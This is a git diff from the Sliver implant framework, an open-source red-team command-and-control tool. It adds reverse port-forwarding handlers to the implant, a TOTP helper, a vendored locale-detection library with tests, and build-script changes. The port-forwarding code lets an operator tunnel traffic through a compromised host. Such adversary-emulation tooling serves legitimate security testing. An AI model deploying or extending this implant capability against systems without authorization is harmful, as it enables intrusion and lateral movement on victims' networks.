gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
@@ -1367,8 +1343,9 @@ gorm.io/driver/sqlite v1.3.6 h1:Fi8xNYCUplOqWiPa3/GuCeowRNBRGTf62DEmhMDHeQQ=
gorm.io/driver/sqlite v1.3.6/go.mod h1:Sg1/pvnKtbQ7jLXxfZa+jSHvoX8hoZA8cn4xllOMTgE=
gorm.io/gorm v1.23.4/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
gorm.io/gorm v1.23.7/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
gorm.io/gorm v1.23.8 h1:h8sGJ+biDgBA1AD1Ha9gFCx7h8npU7AsLdlkX0n2TpE=
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
gorm.io/gorm v1.23.9 h1:NSHG021i+MCznokeXR3udGaNyFyBQJW8MbjrJMVCfGw=
gorm.io/gorm v1.23.9/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw=
gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk=
gotest.tools/v3 v3.0.3/go.mod h1:Z7Lb0S5l+klDB31fvDQX8ss/FlKDxtlFlw3Oa8Ymbl8=
+16 -6
View File
@@ -1,7 +1,17 @@
#!/bin/sh
#!/bin/bash
set -e
cleanup() {
[ ! -z "$1" ] && echo "Error $1 occurred on $2"
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
}
# we are expecting from run from sliver/implant via 'go generate'
cd scripts
@@ -12,6 +22,10 @@ cp ../go-mod "${tempDir}/go.mod"
cp ../go-sum "${tempDir}/go.sum"
mv ../vendor "${tempDir}/vendor"
# Trap when a build fails so we can reset the environment
trap 'cleanup $? $LINENO' ERR
# build Go file with all imported packages
go run update-vendor.go "$tempDir"
cd "$tempDir"
@@ -20,8 +34,4 @@ go mod tidy -compat=1.17
go mod vendor
# move updated files back
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
cleanup
+9
View File
@@ -182,6 +182,15 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
return ciphertext, nil
}
// GetExactOTPCode - Get the OTP code for a specific timestamp
func GetExactOTPCode(timestamp time.Time) string {
code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
// {{if .Config.Debug}}
log.Printf("TOTP Code (%s): %s", timestamp, code)
// {{end}}
return code
}
// GetOTPCode - Get the current OTP code
func GetOTPCode() string {
now := time.Now().UTC()
+6
View File
@@ -58,6 +58,9 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
// PivotHandler - Handler related to pivoting
type PivotHandler func(*sliverpb.Envelope, *transports.Connection)
// RportFwdHandler - Handler related to reverse port forwarding
type RportFwdHandler func(*sliverpb.Envelope, *transports.Connection)
// -----------------------------------------------------
// -----------------------------------------------------
// -----------------------------------------------------
@@ -372,6 +375,9 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
to download a single file
*/
fileInfo, err := os.Stat(path + filter)
if err != nil {
return nil, false, 0, 1, err
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
@@ -0,0 +1,159 @@
package handlers
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"time"
rportfwd "github.com/bishopfox/sliver/implant/sliver/rportfwd"
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
var (
genericRportFwdHandlers = map[uint32]RportFwdHandler{
pb.MsgRportFwdListenersReq: rportFwdListenersHandler,
pb.MsgRportFwdStartListenerReq: rportFwdStartListenerHandler,
pb.MsgRportFwdStopListenerReq: rportFwdStopListenerHandler,
}
)
// GetRportFwdHandlers - Returns a map of reverse port forwarding handlers
func GetRportFwdHandlers() map[uint32]RportFwdHandler {
return genericRportFwdHandlers
}
func rportFwdListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
forwards := rportfwd.Portfwds.List()
var portfwdListeners []*pb.RportFwdListener
for _, portfwd := range forwards {
portfwdListeners = append(portfwdListeners, &pb.RportFwdListener{
ID: uint32(portfwd.ID),
BindAddress: portfwd.BindAddr,
ForwardAddress: portfwd.RemoteAddr,
})
}
data, _ := proto.Marshal(&pb.RportFwdListeners{
Listeners: portfwdListeners,
Response: &commonpb.Response{},
})
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func rportFwdStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.RportFwdStartListenerReq{}
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
rportfwds := rportfwd.Portfwds.List()
for _, r := range rportfwds {
if r.BindAddr == req.BindAddress {
resp.Response.Err = "Already listening on " + r.BindAddr + "\n"
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &rportfwd.ChannelProxy{
Conn: connection,
RemoteAddr: req.ForwardAddress,
BindAddr: req.BindAddress,
KeepAlivePeriod: 1000 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(req.BindAddress, channelProxy)
rportfwd := rportfwd.Portfwds.Add(tcpProxy, channelProxy)
go func() {
err := tcpProxy.Run()
if err != nil {
// {{if .Config.Debug}}
log.Printf("Proxy error %s", err)
// {{end}}
}
}()
resp.BindAddress = req.BindAddress
resp.ForwardAddress = req.ForwardAddress
resp.BindPort = req.ForwardPort
resp.ForwardPort = req.ForwardPort
resp.ID = uint32(rportfwd.ID)
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func rportFwdStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.RportFwdStopListenerReq{}
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
rportfwd := rportfwd.Portfwds.Remove(int(req.ID))
if rportfwd != nil {
resp.ID = uint32(rportfwd.ID)
resp.BindAddress = rportfwd.ChannelProxy.BindAddr
resp.ForwardAddress = rportfwd.ChannelProxy.RemoteAddr
} else {
resp.Response.Err = "Invalid ID\n"
}
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
+201
View File
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright 2014 Pivotal
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,95 @@
# Jibber Jabber [![Build Status](https://travis-ci.org/cubiest/jibberjabber.svg?branch=master)](https://travis-ci.org/cubiest/jibberjabber)
Jibber Jabber is a GoLang Library that can be used to detect an operating system's current language, plus helper functionalities for app development.
## OS Support
UNIX: **GNU/Linux**, **macOS**, **FreeBSD**, **OpenBSD**, **NetBSD**
via the `LC_MESSAGES`, `LC_ALL` and `LANG` environment variables. They are checked in the aforementioned order.
These variables are used in ALL versions of UNIX for language detection.
**Windows**
via [GetUserDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getuserdefaultlocalename) and [GetSystemDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getsystemdefaultlocalename) system calls. These calls are supported in Windows Vista and up.
## DetectIETF
`DetectIETF` will return the current locale as a string. The format of the locale will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code, a DASH, then an [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
**Example:**
```golang
userLocale, err := jibberjabber.DetectIETF()
println("Locale:", userLocale)
```
## DetectLanguage
`DetectLanguage` will return the current language as a string. The format will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code.
also import the following packages for parsing the returned locale
```golang
"golang.org/x/text/language"
"golang.org/x/text/language/display"
```
**Example:**
```golang
userLanguage, err := jibberjabber.DetectLanguage()
println("Language:", userLanguage)
languageTag, parseErr := language.Parse(userLanguage)
println("Language:", display.Self.Name(languageTag))
```
## DetectLanguageTag
`DetectLanguageTag` will return the current language as a language tag as specified by `"golang.org/x/text/language"`.
**Example:**
```golang
languageTag, parseErr := jibberjabber.DetectLanguageTag()
println("Language:", display.Self.Name(languageTag))
```
## DetectTerritory
`DetectTerritory` will return the current locale territory as a string. The format will be the [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
**Example:**
```golang
localeTerritory, err := jibberjabber.DetectTerritory()
println("Territory:", localeTerritory)
```
## About Errors in Detect
All the Detect commands will return an error if they are unable to read the Locale from the system.
For Windows, additional error information is provided due to the nature of the system call being used.
## Helper Singleton
There is a singleton you can, but don't have to, use. It helps you define and later check which locales you support in your application - if not, apply a fallback language locale.
**Example:**
```golang
langServer := jibberjabber.LanguageServer()
langServer.SetSupportedLanguages(map[language.Tag]string{
language.German: "active.de.toml",
language.English: "active.en.toml",
}
langServer.SetFallbackLanguage(language.English)
langLocale, err := langServer.StringToSupportedLanguageTag("something") // returns `language.English`
if err != nil {
log.Printf("failed fetching supported language locale, use fallback language locale %q\n", display.Self.Name(langLocale))
}
```
@@ -0,0 +1,44 @@
package jibberjabber
import (
"errors"
// "fmt"
// "sort"
"strings"
// "sync"
// "golang.org/x/text/language"
// "golang.org/x/text/language/display"
)
var (
ErrLangDetectFail = errors.New("could not detect Language")
ErrLangFallbackUndefined = errors.New("no fallback language defined")
ErrLangFallbackUnsupported = errors.New("defined fallback language is not supported")
ErrLangUnsupported = errors.New("language not supported")
ErrLangParse = errors.New("language identifier cannot be parsed")
)
func splitLocale(locale string) (string, string) {
formattedLocale := strings.Split(locale, ".")[0]
formattedLocale = strings.Replace(formattedLocale, "-", "_", -1)
pieces := strings.Split(formattedLocale, "_")
language := pieces[0]
territory := ""
if len(pieces) > 1 {
territory = strings.Split(formattedLocale, "_")[1]
}
return language, territory
}
/**
* languageServer
*/
// IsError checks an error you received from one of jibberjabber's funcs for a jibberjabber error like `ErrLangDetectFail`.
// Reason you cannot use e.g. `errors.Is()`: currently, golang does not allow native chain-wrapping errors. Therefore, `errors.Unwrap()`, `errors.Is()` & Co. won't return `true` for jibberjabber errors.
func IsError(err error, jjError error) bool {
return strings.HasPrefix(err.Error(), jjError.Error())
}
@@ -0,0 +1,13 @@
package jibberjabber_test
import (
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"testing"
)
func TestJibberJabber(t *testing.T) {
RegisterFailHandler(Fail)
RunSpecs(t, "Jibber Jabber Suite")
}
@@ -0,0 +1,44 @@
// +build darwin freebsd linux netbsd openbsd
package jibberjabber
import (
"os"
"strings"
)
func getLangFromEnv() string {
for _, env := range []string{"LC_MESSAGES", "LC_ALL", "LANG"} {
locale := os.Getenv(env)
if len(locale) > 0 {
return locale
}
}
return ""
}
func getUnixLocale() (string, error) {
locale := getLangFromEnv()
if len(locale) <= 0 {
return "", ErrLangDetectFail
}
return locale, nil
}
// DetectIETF detects and returns the IETF language tag of UNIX systems, like Linux and macOS.
// If a territory is defined, the returned value will be in the format of `[language]-[territory]`,
// e.g. `en-GB`.
func DetectIETF() (string, error) {
locale, err := getUnixLocale()
if err != nil {
return "", err
}
language, territory := splitLocale(locale)
locale = language
if len(territory) > 0 {
locale = strings.Join([]string{language, territory}, "-")
}
return locale, nil
}
@@ -0,0 +1,155 @@
// +build darwin freebsd linux netbsd openbsd
package jibberjabber_test
import (
"errors"
"os"
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
var _ = Describe("Unix", func() {
AfterEach(func() {
os.Setenv("LC_MESSAGES", "")
os.Setenv("LC_ALL", "")
os.Setenv("LANG", "en_US.UTF-8")
})
Describe("#DetectIETF", func() {
Context("Returns IETF encoded locale", func() {
It("should return the locale set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return the locale set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return an error if it cannot detect a locale", func() {
os.Setenv("LANG", "")
_, err := DetectIETF()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
Context("when the locale is simply 'fr'", func() {
BeforeEach(func() {
os.Setenv("LANG", "fr")
})
It("should return the locale without a territory", func() {
language, err := DetectIETF()
Ω(err).ShouldNot(HaveOccurred())
Ω(language).Should(Equal("fr"))
})
})
})
Describe("#DetectLanguage", func() {
Context("Returns encoded language", func() {
It("should return the language set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return the language set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return an error if it cannot detect a language", func() {
os.Setenv("LANG", "")
_, err := DetectLanguage()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
Describe("#DetectLanguageTag", func() {
Context("Returns encoded language tag", func() {
It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return an error if it cannot detect and parse a language tag", func() {
os.Setenv("LANG", "")
_, err := DetectLanguageTag()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
Describe("#DetectTerritory", func() {
Context("Returns encoded territory", func() {
It("should return the territory set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return the territory set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return an error if it cannot detect a territory", func() {
os.Setenv("LANG", "")
_, err := DetectTerritory()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
})
@@ -0,0 +1,47 @@
// +build windows
package jibberjabber
import (
"errors"
"unsafe"
"golang.org/x/sys/windows"
)
// TODO: read LOCALE_NAME_MAX_LENGTH from Windows, instead of hard-coding '85'
const LOCALE_NAME_MAX_LENGTH uint32 = 85
func getWindowsLocaleFrom(sysCall string) (string, error) {
buffer := make([]uint16, LOCALE_NAME_MAX_LENGTH)
dll, err := windows.LoadDLL("kernel32")
if err != nil {
return "", errors.New("could not find kernel32 dll: " + err.Error())
}
proc, err := dll.FindProc(sysCall)
if err != nil {
return "", err
}
r, _, dllError := proc.Call(uintptr(unsafe.Pointer(&buffer[0])), uintptr(LOCALE_NAME_MAX_LENGTH))
if r == 0 {
return "", errors.New(ErrLangDetectFail.Error() + ": " + dllError.Error())
}
return windows.UTF16ToString(buffer), nil
}
func getWindowsLocale() (string, error) {
locale, err := getWindowsLocaleFrom("GetUserDefaultLocaleName")
if err != nil {
locale, err = getWindowsLocaleFrom("GetSystemDefaultLocaleName")
}
return locale, err
}
// DetectIETF detects and returns the IETF language tag of Windows.
func DetectIETF() (string, error) {
return getWindowsLocale()
}
@@ -0,0 +1,63 @@
// +build windows
package jibberjabber_test
import (
"regexp"
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
const (
LOCALE_REGEXP = "^[a-z]{2}-[A-Z]{2}$"
LANGUAGE_REGEXP = "^[a-z]{2}$"
TERRITORY_REGEXP = "^[A-Z]{2}$"
)
var _ = Describe("Windows", func() {
BeforeEach(func() {
locale, err := DetectIETF()
Ω(err).Should(BeNil())
Ω(locale).ShouldNot(BeNil())
Ω(locale).ShouldNot(Equal(""))
})
Describe("#DetectIETF", func() {
It("detects correct IETF locale", func() {
locale, _ := DetectIETF()
matched, _ := regexp.MatchString(LOCALE_REGEXP, locale)
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectLanguage", func() {
It("detects correct Language", func() {
language, _ := DetectLanguage()
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, language)
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectLanguageTag", func() {
It("detects correct Language Tag", func() {
result, _ := DetectLanguageTag()
base, _ := result.Base()
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, base.String())
Ω(matched).Should(BeTrue())
region, _ := result.Region()
matched, _ = regexp.MatchString(TERRITORY_REGEXP, region.String())
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectTerritory", func() {
It("detects correct Territory", func() {
territory, _ := DetectTerritory()
matched, _ := regexp.MatchString(TERRITORY_REGEXP, territory)
Ω(matched).Should(BeTrue())
})
})
})
+35
View File
@@ -0,0 +1,35 @@
//go:build darwin || linux || windows
package locale
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
)
// GetLocale returns the default language set
func GetLocale() string {
userLocale, err := jibberjabber.DetectIETF()
if err != nil {
return ""
}
return userLocale
}
+30
View File
@@ -0,0 +1,30 @@
//go:build !darwin && !windows && !linux
package locale
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-----------------------------------------------------------------------
Place holder so we don't get undefined functions in generic builds.
*/
// GetLocale returns the default language set
func GetLocale() string {
return ""
}
+249
View File
@@ -0,0 +1,249 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"encoding/binary"
"io"
"math/rand"
"net"
"strconv"
"sync"
"time"
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Portfwds - Struct instance that holds all the portfwds
Portfwds = portfwds{
forwards: map[int]*Portfwd{},
mutex: &sync.RWMutex{},
}
portfwdID = 0
)
// PortfwdMeta - Metadata about a portfwd listener
type PortfwdMeta struct {
ID int
SessionID string
BindAddr string
RemoteAddr string
}
// Portfwd - Tracks portfwd<->tcpproxy
type Portfwd struct {
ID int
TCPProxy *tcpproxy.Proxy
ChannelProxy *ChannelProxy
}
// GetMetadata - Get metadata about the portfwd
func (p *Portfwd) GetMetadata() *PortfwdMeta {
return &PortfwdMeta{
ID: p.ID,
BindAddr: p.ChannelProxy.BindAddr,
RemoteAddr: p.ChannelProxy.RemoteAddr,
}
}
type portfwds struct {
forwards map[int]*Portfwd
mutex *sync.RWMutex
}
